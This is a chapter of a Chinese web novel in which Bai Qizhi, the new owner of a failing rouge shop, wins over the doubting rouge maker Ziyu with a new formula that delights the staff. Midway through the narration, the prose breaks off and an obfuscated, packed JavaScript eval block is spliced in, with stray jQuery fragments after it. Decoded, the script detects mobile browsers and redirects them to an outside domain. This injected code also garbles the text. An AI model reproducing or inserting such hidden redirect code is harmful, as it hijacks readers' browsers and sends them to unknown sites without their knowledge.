白栖枝垂眸看向紫玉怀中的胭脂道:
“据我所知,香玉坊的胭脂制作工艺复杂,一般要经过采摘、杀花、揉花、晾晒等数道工序。以红蓝花为例,每年在它开花的季节,要在一天中最凉爽的时候去采摘,然后杵碓水淘,绞取黄汁,更捣以清酸粟浆淘之,绞如初,即收取染红,然后更捣而暴之,以染红色,极鲜明。[1]随即先要取落藜和蒿等草灰,以汤淋取清汁,用以揉花,此过程要反复十几次。最后,再用布袋绞取淳汁晾晒即成。是这样的吧?紫玉姐姐?”
她说得一点不差,紫玉渐渐放松下来,连带着护着胭脂的胳膊都不抱得那么紧了,面上却还僵着:“你同我说这些做什么?这些东西,随便翻书看上两眼都能知道,难道还要我夸你不成?”
白栖枝只是含笑。
“紫玉姐姐。”她说,“我知你不喜我,可我来真的是为了咱们香玉坊能重整旗鼓。我是香玉坊的新东家,除却你们我比谁都更希望咱香玉坊能好起来。我这颗心是真的,无论你信或不信,它都是真的,只可惜我不能剖出来给你看,不然你定知我满腔肺腑皆冰雪[2],一片丹心如月明。”
紫玉拧眉怒道:“我管你什么冰雪啊明月的,我不懂,但是你说你是真心的,我不信!你既是那位的人,我便不会相信你说的任何一个字,除非——”她看向白栖枝发髻间盛开的玉兰花,“除非你现在就把头上那东西毁了,我就暂且信你!”
这如何能毁?
饶是好脾气如白栖枝也忍不住细细拧了眉头。
“东西我毁不得。”
未等紫玉开口讥讽,她又道:“不过我手中有样东西,或许能暂昭我心。”
紫玉狐疑。
白栖枝从袖中缓缓拿出一张折叠整齐的纸片,缓缓道:“我虽不善制胭脂,却略懂书画,我仔细思量过,二者皆是作画,那么颜料落于纸上便如同胭脂敷于玉面,讲究的都是调色谐配、施彩合宜,恰巧我对设色配伍也颇有些心得,于是便写了这张方子,想着或许可以予香玉坊一救。”
她说着,将这纸片缓缓放在案上,紫玉的视线也随着她的动作落到那张薄薄的纸片上,思忖片刻,抿了抿唇道。
“我不信你。”她冷声道,“你这小丫头最是狡猾,说是这样说,没准儿就是找个由头唬我,我可不像莫伯那么好骗!我劝你赶紧把你这破纸拿走,不然,我就撕了它!”
闻言,白栖枝抬眸对上她的眼,一瞬不瞬地看着,脸上却又恢复了笑意。
“这不重要。”白栖枝语气温和道,“心长在你那里,你信不信由不得我,不过这方子确实是我连夜琢磨的——当然,若我会制粉,自然不会将它交到你手里,不然实在是浪费了我的这篇心思。不过么……”她顿了顿,“我后来一想,倘若我将此方交由别的制粉师去做,你定然不会服气,你会想:哎呀,这方子肯定不是她自个儿想出来的,肯定是让别的制粉师琢磨出来的,我才不上她的当呢!由是,我将这方子交给你,由你亲自制作,这样待日后除了结果,你就算质疑我,也挑不出我半点错处了。”
紫玉紧抿着唇,看着那张方子,不肯说话。
白栖枝只是悠然一笑:“倘若你不愿,我也可以将这方子交由其他制粉师来做,不过到时候,若是你输了,可得输的心服口服啊。”
说完,丢给她一个笑盈盈的眼神,随即飘飘然地离开了。
偌大的屋子内只剩紫玉抱着她的粉钵孤伫在原地。
她放下粉钵,手旁就是那方子,她看了看,作势捡起来就要捏着两边儿就要撕。
可真当边缘要被扯破时,她却反倒不忍心了。
——或许可以予香玉坊一救。
紫玉迟疑了:她说,这张方子能救香玉坊,真的么?他们的香玉坊还能有救么?
呵,有救又怎样,大爷早放弃这里了,只剩下他们四个还在念着旧想要再救一救他们的香玉坊。
可仅凭他们四个又能怎样?
香玉坊倒下是必然的事,这里早就入不敷出了!无论他们做什么对于香玉坊来说都只是蝗臂挡车,拦不住的,大爷想让它亡,他们谁也拦不住的,更何况是方才那个连毛都没长齐的小丫头?
可是……
可是……
若她真的能呢?
那人说的什么“满腔肺腑皆冰雪”她不懂,可是,若她真的想要救这香玉坊,真的想要让香玉坊恢复如初呢?那她该不该信她……
蓦然间,手中纤薄的纸片化作了最后一根救命草,她将它扯在手里,不敢去拔。
她怕自己这一拔,就会连带着这被他们爱如珍宝的香玉坊的根也拔出来。
随后,作为罪魁祸首,亲眼目睹它的坍塌。
……
两日后,铺子稀稀拉拉地重新开业。
紫玉昨儿废寝忘食,马不停蹄地连夜将白栖枝给她的那个方子做了出来,可等她来到香玉坊,那个素来单薄瘦小的身影却没有出现在坊间。
那人失约了。
她明知黄口小儿之词不可信,她却偏信了,不仅信了,还傻乎乎地按着她的话将这东西连夜感知出来,只为了拿给她看!
一时间,被愚弄的怒气冲昏了紫玉的头,正待她要发作,李素染看见了她。
“东家病了。”这是李素染头一次在白栖枝背后称她为东家,“你来的晚了,方才林府的下人来了,说东家病得厉害,恐怕这几日都来不了了。”
她病了?
饶是如此紫玉仍有余愠:病得可真巧,不会是为了躲她先编出来的幌子吧?像她这个年纪的小孩最是狡猾,撒起谎来都不会脸红,面都见不到,谁知她是不是真的病了?最好是真的病了!
就在她还赌气想着,李素染却眼尖地发现了她手中的胭脂盒,问道:“瞧你这一夜没睡的样儿,是熬夜研制新的胭脂了?”
紫玉恹恹一应,旁边的莫当时立马从她手里夺过,欢快道:“让我看看你又研制出来了什么好东西!”
在香玉坊没落前,坊里的胭脂几乎都是紫玉一人研制的,她心灵手巧,对于色彩极其敏感,由是凡经她手研制的胭脂,没一样是不紧俏的。
只是后来铺子没落了,她也渐渐不上心起来,研制出的东西与旁的胭脂水粉店大同小异,皆大落了俗套
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903049|157766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。由是,大家更愿意去更便宜的铺子买,就渐渐将香玉坊冷落了。
只见莫当时兴奋地拧开盒子,用指腹沾了胭脂往自己手背上一摸,高声呼道:“呀!真不错!大家都来看看!”
随着他这一声唤,众人纷纷围了上来,就见着莫当时白皙的手背上一抹霞色淡淡晕开。
莫当时到底是个男子,就算保养得再好,一双手较之那些从小十指不沾阳春水的千金小姐们到底还是粗了些,能隐隐看清肌肤纹路。
可神奇的是,凡是那一抹霞光所在之处,竟将这些肌理纹路填得无影无踪,打眼一瞧,仿若初生婴孩般细腻。
可若只是粉感好也就算了,在颜色上,这胭脂也是娇艳无比,只这么随手一抹,看不出是上了妆,反倒更像是从皮肤里头透出来的颜色,不浓,也不淡,宛若娇俏女儿家喝醉了酒,眼底眉梢上浮出的那抹似嗔非嗔的媚态醉意,倘若细细闻起,竟还有一股花香馥郁暗含其中,实在是妙极。
见此物,就连一向老实憨厚的莫伯都不禁笑叹道:“哎呀!咱香玉坊有了这种好东西,又何愁日后不能东山再起?真好,真好!”
众人恨不得抱着团欢呼,唯有紫玉一人呆呆伫立在原地——
白栖枝赢了,那人赢了,她就这样被一个门外汉给打败了……
为什么?
凭什么?
明明那人什么都不懂,明明她才是香玉坊的制粉师,明明她才是那个用心研制胭脂的人,凭什么偏是那人赢了?!倘若她一个门外汉都能赢她,那她这么多年的付出又算什么?算她脑子笨、算她时间多么?
凭什么!凭什么?凭什么……
如同一记惊雷落在头顶,紫玉觉得自己浑身的血液都在逆流,她想不通,她实在是想不通,她要找白栖枝问个明白!她要知道自己到底输在哪里!
可举目望去,哪里又有白栖枝的影子呢?
她说她病了,她说她这几日都来不了了。
难道她是不忍来看她的笑话么?她哪有那么好心!
“哎?大功臣,你怎么了?”还是莫当时最先发现紫玉的异样,凑过去挑逗她道,“怎么?制出了这种好东西你还不高兴?你也太挑剔了!瞧你,眼底下的乌青都出来了,这几夜一定是没睡好吧?赶紧回去补补觉,咱香玉坊日后还要靠你呢!哎?大功臣,想什么呢,这么出神,你……”
周遭的一切已经听不清了,就连莫当时把着肩摇晃,紫玉也感觉不到了。
她病了,她病了,她病了……
紫玉满脑子都是李素染的话。
既然那人病了的话,那她也应是病了吧?不然为何会四肢发麻,手脚无力呢?
她也病了……
“紫玉?紫玉?紫玉!”
声音仿若从千里之外飘渺进了她的耳朵。
紫玉两眼一黑,再看不见众人关心的神色,随即身体一软,竟硬生生将自己气昏了过去。
……
[1]宋代的《尔雅翼》中记载的杀花程序.
[2]应念岭海经年,孤光自照,肝肺皆冰雪。宋·张孝祥·《念奴娇·过洞庭》